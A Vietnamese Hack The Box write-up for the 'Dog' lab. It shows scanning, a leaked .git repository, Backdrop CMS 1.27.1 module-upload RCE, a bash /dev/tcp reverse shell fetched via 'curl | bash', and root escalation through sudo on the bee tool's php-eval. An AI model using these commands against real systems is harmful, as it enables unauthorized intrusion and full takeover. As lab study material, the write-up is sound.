Post

HTB Writeup: Dog

Bug: BackDrop CMS 1.27.1 to Reverse Shell Linux and go to Privilege Escalation with BackDrop_Tool/bee

HTB Writeup: Dog

Pre-Access

Tôi mất khá nhiều thời gian trong bài lab này phần revershell -> user johncusack vì tôi phải thử rất nhiều cách reverse shell (mà tôi đã biết) nhưng thất bại khá nhiều và tôi không ghi nó trong đây. Bởi vậy nếu bạn đọc phần webshell -> switch user johncusack có thể sẽ hơi đứt mạch logic 1 chút đó.

Information

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
┌─[htb@parrot]─[~/Desktop]
└──╼ $nmap -sV -sC -Pn -oA nmap/dog 10.10.11.58
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-06-05 18:28 +07
Nmap scan report for 10.10.11.58 (10.10.11.58)
Host is up (0.049s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 97:2a:d2:2c:89:8a:d3:ed:4d:ac:00:d2:1e:87:49:a7 (RSA)
|   256 27:7c:3c:eb:0f:26:e9:62:59:0f:0f:b1:38:c9:ae:2b (ECDSA)
|_  256 93:88:47:4c:69:af:72:16:09:4c:ba:77:1e:3b:3b:eb (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Home | Dog
| http-robots.txt: 22 disallowed entries (15 shown)
| /core/ /profiles/ /README.md /web.config /admin 
| /comment/reply /filter/tips /node/add /search /user/register 
|_/user/password /user/login /user/logout /?q=admin /?q=comment/reply
| http-git: 
|   10.10.11.58:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: todo: customize url aliases.  reference:https://docs.backdro...
|_http-generator: Backdrop CMS 1 (https://backdropcms.org)
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.20 seconds

Gobuster

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
┌─[htb@parrot]─[~/Desktop]
└──╼ $gobuster dir -u http://10.10.11.58/ -w /usr/share/seclists/Discovery/Web-Content/common.txt 
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.11.58/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.git/HEAD            (Status: 200) [Size: 23]
/.git                 (Status: 301) [Size: 309] [--> http://10.10.11.58/.git/]
/.git/logs/           (Status: 200) [Size: 1130]
/.git/config          (Status: 200) [Size: 92]
/.htaccess            (Status: 403) [Size: 276]
/.hta                 (Status: 403) [Size: 276]
/.htpasswd            (Status: 403) [Size: 276]
/.git/index           (Status: 200) [Size: 344667]
/core                 (Status: 301) [Size: 309] [--> http://10.10.11.58/core/]
/files                (Status: 301) [Size: 310] [--> http://10.10.11.58/files/]
/index.php            (Status: 200) [Size: 13332]
/layouts              (Status: 301) [Size: 312] [--> http://10.10.11.58/layouts/]
/modules              (Status: 301) [Size: 312] [--> http://10.10.11.58/modules/]
/robots.txt           (Status: 200) [Size: 1198]
/server-status        (Status: 403) [Size: 276]
/sites                (Status: 301) [Size: 310] [--> http://10.10.11.58/sites/]
/themes               (Status: 301) [Size: 311] [--> http://10.10.11.58/themes/]
Progress: 4723 / 4724 (99.98%)
===============================================================
Finished
===============================================================

Robots.txt

Dòng màu xanh là dòng có thể sử dụng để khai thác
Dòng màu đỏ là dòng loại bỏ trong quá trình khai thác

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# Directories
+ Disallow: /core/
- Disallow: /profiles/
# Files
- Disallow: /README.md
- Disallow: /web.config
# Paths (clean URLs)
- Disallow: /admin
- Disallow: /comment/reply
- Disallow: /filter/tips
- Disallow: /node/add
- Disallow: /search
- Disallow: /user/register
- Disallow: /user/password
- Disallow: /user/login
- Disallow: /user/logout
# Paths (no clean URLs)
+ Disallow: /?q=admin
- Disallow: /?q=comment/reply
+ Disallow: /?q=filter/tips
+ Disallow: /?q=node/add
+ Disallow: /?q=search
+ Disallow: /?q=user/password
+ Disallow: /?q=user/register
+ Disallow: /?q=user/login
+ Disallow: /?q=user/logout

Khả năng chức năng register chỉ valid cho người dùng admin. Người dùng thường chỉ có quyền login

Trường hợp phải đăng nhập thì ta cần phải tìm info leak hoặc có lỗi gì đó của input validator. Tiêp theo, ta sẽ view qua .git xem có tài khoản nào được leak không :))

.GIT

.git

Sử dụng git-dumper

1
git-dumper http://10.10.11.58/.git/ tmp/

Sau khi tải sau, bạn có thể sử dụng .git folder để tìm thêm thông tin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌─[htb@parrot]─[~/Desktop/tmp]
└──╼ $git log
commit 8204779c764abd4c9d8d95038b6d22b6a7515afa (HEAD -> master)
Author: root <dog@dog.htb>
Date:   Fri Feb 7 21:22:11 2025 +0000

    todo: customize url aliases.  reference:https://docs.backdropcms.org/documentation/url-aliases

┌─[htb@parrot]─[~/Desktop/tmp]
└──╼ $searchsploit BackDrop CMS
---------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                        |  Path
---------------------------------------------------------------------- ---------------------------------
Backdrop CMS 1.20.0 - 'Multiple' Cross-Site Request Forgery (CSRF)    | php/webapps/50323.html
Backdrop CMS 1.23.0 - Stored XSS                                      | php/webapps/51905.txt
Backdrop Cms v1.25.1 - Stored Cross-Site Scripting (XSS)              | php/webapps/51597.txt
---------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

Như vậy ta có 3 vuln liên quan đến Backdrop Cms ở đây. Việc ta cần làm đó là tìm xem Backdrop CMS thuộc version nào và tiếp tục tìm các info leak khác

Sử dụng 2 câu lệnh sau để thao tác với các file trên commit:

1
2
git ls-tree -r HEAD --name-only | grep "<ext>"
git show <commit_id>:path/to/file
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
┌─[htb@parrot]─[~/Desktop/tmp]
└──╼ $git show 8204779c764abd4c9d8d95038b6d22b6a7515afa:index.php > index.php 
┌─[htb@parrot]─[~/Desktop/tmp]
└──╼ $cat index.php 
<?php

/**
 * @file
 * The PHP page that serves all page requests on a Backdrop installation.
 *
 * The routines here dispatch control to the appropriate handler, which then
 * prints the appropriate page.
 *
 * All Backdrop code is released under the GNU General Public License.
 * See COPYRIGHT.txt and LICENSE.txt files in the "core" directory.
 */

/**
 * Root directory of Backdrop installation.
 */
define('BACKDROP_ROOT', getcwd());

require_once BACKDROP_ROOT . '/core/includes/bootstrap.inc';
backdrop_bootstrap(BACKDROP_BOOTSTRAP_FULL);
menu_execute_active_handler();
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
┌─[htb@parrot]─[~/Desktop/tmp]
└──╼ $cat settings.php 
<?php

$database = 'mysql://root:<redacted>@127.0.0.1/backdrop';
$database_prefix = '';

$config_directories['active'] = './files/config_83dddd18e1ec67fd8ff5bba2453c7fb3/active';
$config_directories['staging'] = './files/config_83dddd18e1ec67fd8ff5bba2453c7fb3/staging';

$settings['update_free_access'] = FALSE;

$settings['hash_salt'] = 'aWFvPQNGZSz1DQ701dD4lC5v1hQW34NefHvyZUzlThQ';

ini_set('session.gc_probability', 1);
ini_set('session.gc_divisor', 100);

ini_set('session.gc_maxlifetime', 200000);

ini_set('session.cookie_lifetime', 2000000);

$settings['404_fast_paths_exclude'] = '/\/(?:styles)|(?:system\/files)\//';
$settings['404_fast_paths'] = '/\.(?:txt|png|gif|jpe?g|css|js|ico|swf|flv|cgi|bat|pl|dll|exe|asp)$/i';
$settings['404_fast_html'] = '<!DOCTYPE html><html lang="en"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "@path" was not found on this server.</p></body></html>';

$settings['backdrop_drupal_compatibility'] = TRUE;

if (file_exists(__DIR__ . '/settings.local.php')) {
  include __DIR__ . '/settings.local.php';
}
$database_charset = 'utf8mb4';

Sau 1 hồi tìm lục thì tôi nhận thấy rằng version BackDropCMS nằm ở: core/includes/bootstrap.inc

1
2
3
┌─[✗]─[htb@parrot]─[~/Desktop/tmp]
└──╼ $cat bootstrap.inc | grep "BACKDROP_VERSION"
define('BACKDROP_VERSION', '1.27.1');

Tìm trên Internet bạn sẽ nhận được vuln như sau (không có CVE ID cụ thể):

exploits dataase

Nhìn qua payload thì có vẻ như nó cần site admin để đấm được tiếp

1
2
3
4
5
...
    print("Go to " + url + "/admin/modules/install and upload the " +
          zip_filename + " for Manual Installation.")
    time.sleep(2)
...

Thôi skip tạm, tiếp tục tìm thì tôi thấy phần xử lí logic chính của trang web tại: core/modules/user/user.module

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
...
function user_check_password($password, $account) {
  if (substr($account->pass, 0, 2) == 'U$') {
    $stored_hash = substr($account->pass, 1);
    $password = md5($password);
  }
  else {
    $stored_hash = $account->pass;
  }

  $type = substr($stored_hash, 0, 3);
  switch ($type) {
    case '$S$':
      // A normal Backdrop password using sha512.
      $hash = _password_crypt('sha512', $password, $stored_hash);
      break;
    case '$H$':
      // phpBB3 uses "$H$" for the same thing as "$P$".
    case '$P$':
      // A phpass password generated using md5.  This is an
      // imported password or from an earlier Backdrop version.
      $hash = _password_crypt('md5', $password, $stored_hash);
      break;
    default:
      return FALSE;
  }
  return ($hash && $stored_hash == $hash);
}
...
function user_login_authenticate_validate($form, &$form_state) {
  $name = trim($form_state['values']['name']);
  $password = trim($form_state['values']['pass']);
  $flood_config = config('user.flood');
  if (strlen($name) && strlen($password)) {
    // Do not allow any login from the current user's IP if the limit has been
    // reached. Default is 50 failed attempts allowed in one hour. This is
    // independent of the per-user limit to catch attempts from one IP to log
    // in to many different user accounts.  We have a reasonably high limit
    // since there may be only one apparent IP for all users at an institution.
    if (!flood_is_allowed('failed_login_attempt_ip', $flood_config->get('flood_ip_limit'), $flood_config->get('flood_ip_window'))) {
      $form_state['flood_control_triggered'] = 'ip';
      return;
    }
    $account = FALSE;
    $credentials = config_get('system.core', 'user_login_method');
    if (($credentials === USER_LOGIN_USERNAME_OR_EMAIL || $credentials === USER_LOGIN_EMAIL_ONLY) && valid_email_address($name)) {
      $account = db_query("SELECT * FROM {users} WHERE mail = :mail AND status = 1", array(':mail' => $name))->fetchObject();
    }
    if (!$account && $credentials !== USER_LOGIN_EMAIL_ONLY) {
      $account = db_query("SELECT * FROM {users} WHERE name = :name AND status = 1", array(':name' => $name))->fetchObject();
    }

    if ($account) {
      $form_state['account_found'] = TRUE;
      if ($flood_config->get('flood_uid_only')) {
        // Register flood events based on the uid only, so they apply for any
        // IP address. This is the most secure option.
        $identifier = $account->uid;
      }
      else {
        // The default identifier is a combination of uid and IP address. This
        // is less secure but more resistant to denial-of-service attacks that
        // could lock out all users with public user names.
        $identifier = $account->uid . '-' . ip_address();
      }
      $form_state['flood_control_user_identifier'] = $identifier;

      // Don't allow login if the limit for this user has been reached.
      // Default is to allow 5 failed attempts every 6 hours.
      if (!flood_is_allowed('failed_login_attempt_user', $flood_config->get('flood_user_limit'), $flood_config->get('flood_user_window'), $identifier)) {
        $form_state['flood_control_triggered'] = 'user';
        return;
      }
      // We are not limited by flood control, so try to authenticate.
      // Set $form_state['uid'] as a flag for user_login_final_validate().
      $form_state['uid'] = user_authenticate($account->name, $password);
    }
    else {
      $form_state['account_found'] = FALSE;
    }
  }
}
...
function user_authenticate($name, $password) {
  $uid = FALSE;
  if (!empty($name) && strlen(trim($password)) > 0) {
    $account = user_load_by_name($name);
    if ($account) {
      // Allow alternate password hashing schemes.
      require_once BACKDROP_ROOT . '/' . settings_get('password_inc', 'core/includes/password.inc');
      if (user_check_password($password, $account)) {
        // Successful authentication.
        $uid = $account->uid;

        // Update user to new password scheme if needed.
        if (user_needs_new_hash($account)) {
          $account->pass = $password;
          $account->save();
        }
      }
    }
  }
  return $uid;
  
}

Bên trên là thuật toán login của BackDrop (tí nữa thì mình quên rằng mình cần tìm dataleak thay vì ngồi reverse function của Backdrop) nó khá dài phải không? Hãy skip nó nếu bạn không muốn quan tâm :))

Hmm, quay đi quay lại 1 hồi thì tôi nhận thấy rằng tôi chưa tận dụng cái mysql ở trên để connect:

1
$database = 'mysql://root:<redacted>@127.0.0.1/backdrop';

Nhưng failed và không kết nối được (cũng đúng thôi vì port này đâu có mở). Cố gắng xem cái password này có lợi dụng được gì hay không thôi…

Sau 1 hồi tôi dùng tool git-dumper mới để dump toàn bộ file về thay vì chỉ có .git như ban đầu thì nó đã nhanh hơn phần nào :)) Hơi loằng ngoằng nhưng thôi các bạn đọc vui vẻ không cần nhớ đâu (sorry sorry 🙏)

Sau khi dump được toàn bộ tôi sẽ tìm nhanh trong tất cả file với organization: dog.htb (lộ ở git log):

1
2
3
4
5
┌─[htb@parrot]─[~/Desktop/tmp/git]
└──╼ $grep -r dog.htb
.git/logs/HEAD:0000000000000000000000000000000000000000 8204779c764abd4c9d8d95038b6d22b6a7515afa root <dog@dog.htb> 1738963331 +0000	commit (initial): todo: customize url aliases. reference:https://docs.backdropcms.org/documentation/url-aliases
.git/logs/refs/heads/master:0000000000000000000000000000000000000000 8204779c764abd4c9d8d95038b6d22b6a7515afa root <dog@dog.htb> 1738963331 +0000	commit (initial): todo: customize url aliases. reference:https://docs.backdropcms.org/documentation/url-aliases
files/config_83dddd18e1ec67fd8ff5bba2453c7fb3/active/update.settings.json:        "tiffany@dog.htb"

Thì ta tìm thấy 1 user khác có tên là tiffany. Trước đó tôi thử sử dụng credential sau admin:<redacted> để đăng nhập nhưng không thành thì tôi sẽ sử dụng luôn cái user này đi login thử xem thì thật may mắn là thành công :))

login Oke

Bây giờ hãy sử dụng vuln ở trên để exploit thử xem sao

Failed

Ta có thể thấy nó đang bị lỗi. Theo như tôi tìm hiểu thì do nó có lỗi trong DNS Resolve nên tôi cần phải add host cho nó:

1
2
┌─[root@parrot]─[/home/htb/Desktop/tmp]
└──╼ #echo "10.10.11.58 dog.htb" >> /etc/hosts

Server không support file zip nhưng ta có thể đổi thử tên file thành .tar.gz xem sao:

1
2
3
4
5
6
7
8
9
10
11
12
└──╼ $python3 backdrop_1.27.1_remote_command_execute.py http://dog.htb
Backdrop CMS 1.27.1 - Remote Command Execution Exploit
Evil module generating...
Evil module generated! shell.zip
Go to http://dog.htb/admin/modules/install and upload the shell.zip for Manual Installation.
Your shell address: http://dog.htb/modules/shell/shell.php

┌─[htb@parrot]─[~/Desktop/exploits]
└──╼ $tar -czvf shell.tar.gz shell/
shell/
shell/shell.info
shell/shell.php

Success

Get shell thành công:

Success

Đoạn này lỗi hơi nhiều và tôi đã sửa lại payload 1 chút đó để nó hoạt động tốt hơn chút :»

id

Thực ra tôi muốn sử dụng reverse shell nên tôi đã làm như sau:

1
2
3
4
5
6
7
8
9
10
11
12
┌─[htb@parrot]─[~/Desktop/exploits/shell]
└──╼ $cat rev.html 
#!/bin/bash

bash -i >& /dev/tcp/10.10.14.53/1337 0>&1

┌─[htb@parrot]─[~/Desktop/exploits/shell]
└──╼ $python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
10.10.11.58 - - [09/Jun/2025 14:04:38] "GET /rev.html HTTP/1.1" 200 -
10.10.11.58 - - [09/Jun/2025 14:04:57] "GET /rev.html HTTP/1.1" 200 -
10.10.11.58 - - [09/Jun/2025 14:06:40] "GET /rev.html HTTP/1.1" 200 -

bash -i: run bash ở chế độ interactive (same real terminal)
>& /dev/tcp/10.10.14.53/1337: pipe all std của bash tới TCP: 10.10.14.53:1337. /dev/tcp/host/port là một tính năng đặc biệt của bash, cho phép đọc/ghi dữ liệu qua TCP như một file.
0>&1: Pipe stdin của bash sang stdout - nghĩa là mọi dữ liệu nhận từ TCP cũng được chuyển vào bash.

Sau đó truy cập url sau: http://dog.htb/modules/shell/shell.php?cmd=curl+10.10.14.x%3A8080%2Frev.html+%7C+bash để có thể chạy shell (sửa lại x -> ip của bạn)

1
curl 10.10.14.x:8080/rev.html | bash

Khi reverse shell tôi thấy rằng user hiện tại không có quyền đọc flag user.txt của johncusack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
┌─[htb@parrot]─[~/Desktop/exploits]
└──╼ $nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.14.53] from (UNKNOWN) [10.10.11.58] 53996
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
ls -al /home	
total 16
drwxr-xr-x  4 root       root       4096 Aug 15  2024 .
drwxr-xr-x 19 root       root       4096 Feb  7 18:31 ..
drwxr-xr-x  4 jobert     jobert     4096 Feb  7 15:59 jobert
drwxr-xr-x  3 johncusack johncusack 4096 Feb  7 15:59 johncusack
ls -al /home/johncusack
total 28
drwxr-xr-x 3 johncusack johncusack 4096 Feb  7 15:59 .
drwxr-xr-x 4 root       root       4096 Aug 15  2024 ..
lrwxrwxrwx 1 root       root          9 Feb  7 15:59 .bash_history -> /dev/null
-rw-r--r-- 1 johncusack johncusack  220 Aug 15  2024 .bash_logout
-rw-r--r-- 1 johncusack johncusack 3771 Aug 15  2024 .bashrc
drwx------ 2 johncusack johncusack 4096 Aug 16  2024 .cache
lrwxrwxrwx 1 root       root          9 Feb  7 15:59 .mysql_history -> /dev/null
-rw-r--r-- 1 johncusack johncusack  807 Aug 15  2024 .profile
-rw-r----- 1 root       johncusack   33 Jun  8 13:51 user.txt

Thì tôi thử switch sang user johncusack với password tìm thấy trước đó (vì thường user sẽ dùng mật khẩu cho nhiều thứ khác cần mật khẩu). Thì may mắn là nó đúng như vậy

1
2
3
4
5
6
7
8
9
www-data@dog:/var/www/html/modules/shell$ cd /home     
cd /home
www-data@dog:/home$ su johncusack
su johncusack
Password: <redacted>
id
uid=1001(johncusack) gid=1001(johncusack) groups=1001(johncusack)
python3 -c 'import pty; pty.spawn("/bin/bash")'
johncusack@dog:/home$ 

Ok, sau khi có quyền của user johncusack thì tôi sẽ đọc file flag mà tôi thấy trước đó.

User Flag

1
2
3
johncusack@dog:/home$ cat johncusack/user.txt
cat johncusack/user.txt
<redacted>

Root Flag

1
2
3
4
5
6
7
8
9
10
johncusack@dog:/home$ sudo -l
sudo -l
[sudo] password for johncusack: <redacted>

Matching Defaults entries for johncusack on dog:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User johncusack may run the following commands on dog:
    (ALL : ALL) /usr/local/bin/bee

Tôi sử dụng bee thì thấy nó có vài option đáng chú ý như sau:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
/usr/local/bin/bee
🐝 Bee
Usage: bee [global-options] <command> [options] [arguments]

Global Options:
 --root
 Specify the root directory of the Backdrop installation to use. If not set, will try to find the Backdrop installation automatically based on the current directory.

...


Commands:
 ...
 ADVANCED
  db-query
   dbq
   Execute a query using db_query().

  eval
   ev, php-eval
   Evaluate (run/execute) arbitrary PHP code after bootstrapping Backdrop.

  php-script
   scr
   Execute an arbitrary PHP file after bootstrapping Backdrop.

  sql
   sqlc, sql-cli, db-cli
   Open an SQL command-line interface using Backdrop's database credentials.

Tôi thử dùng thì nó hoạt động tốt

1
2
3
4
5
6
7
8
johncusack@dog:/home$ sudo bee --root=/var/www/html php-eval 'system("/bin/bash")'
<--root=/var/www/html php-eval 'system("/bin/bash")'
root@dog:/var/www/html# id
id
uid=0(root) gid=0(root) groups=0(root)
root@dog:/var/www/html# cat /root/root.txt
cat /root/root.txt
<redacted>

Như vậy là done.

Done

Happy hacking

This post is licensed under CC BY 4.0 by the author.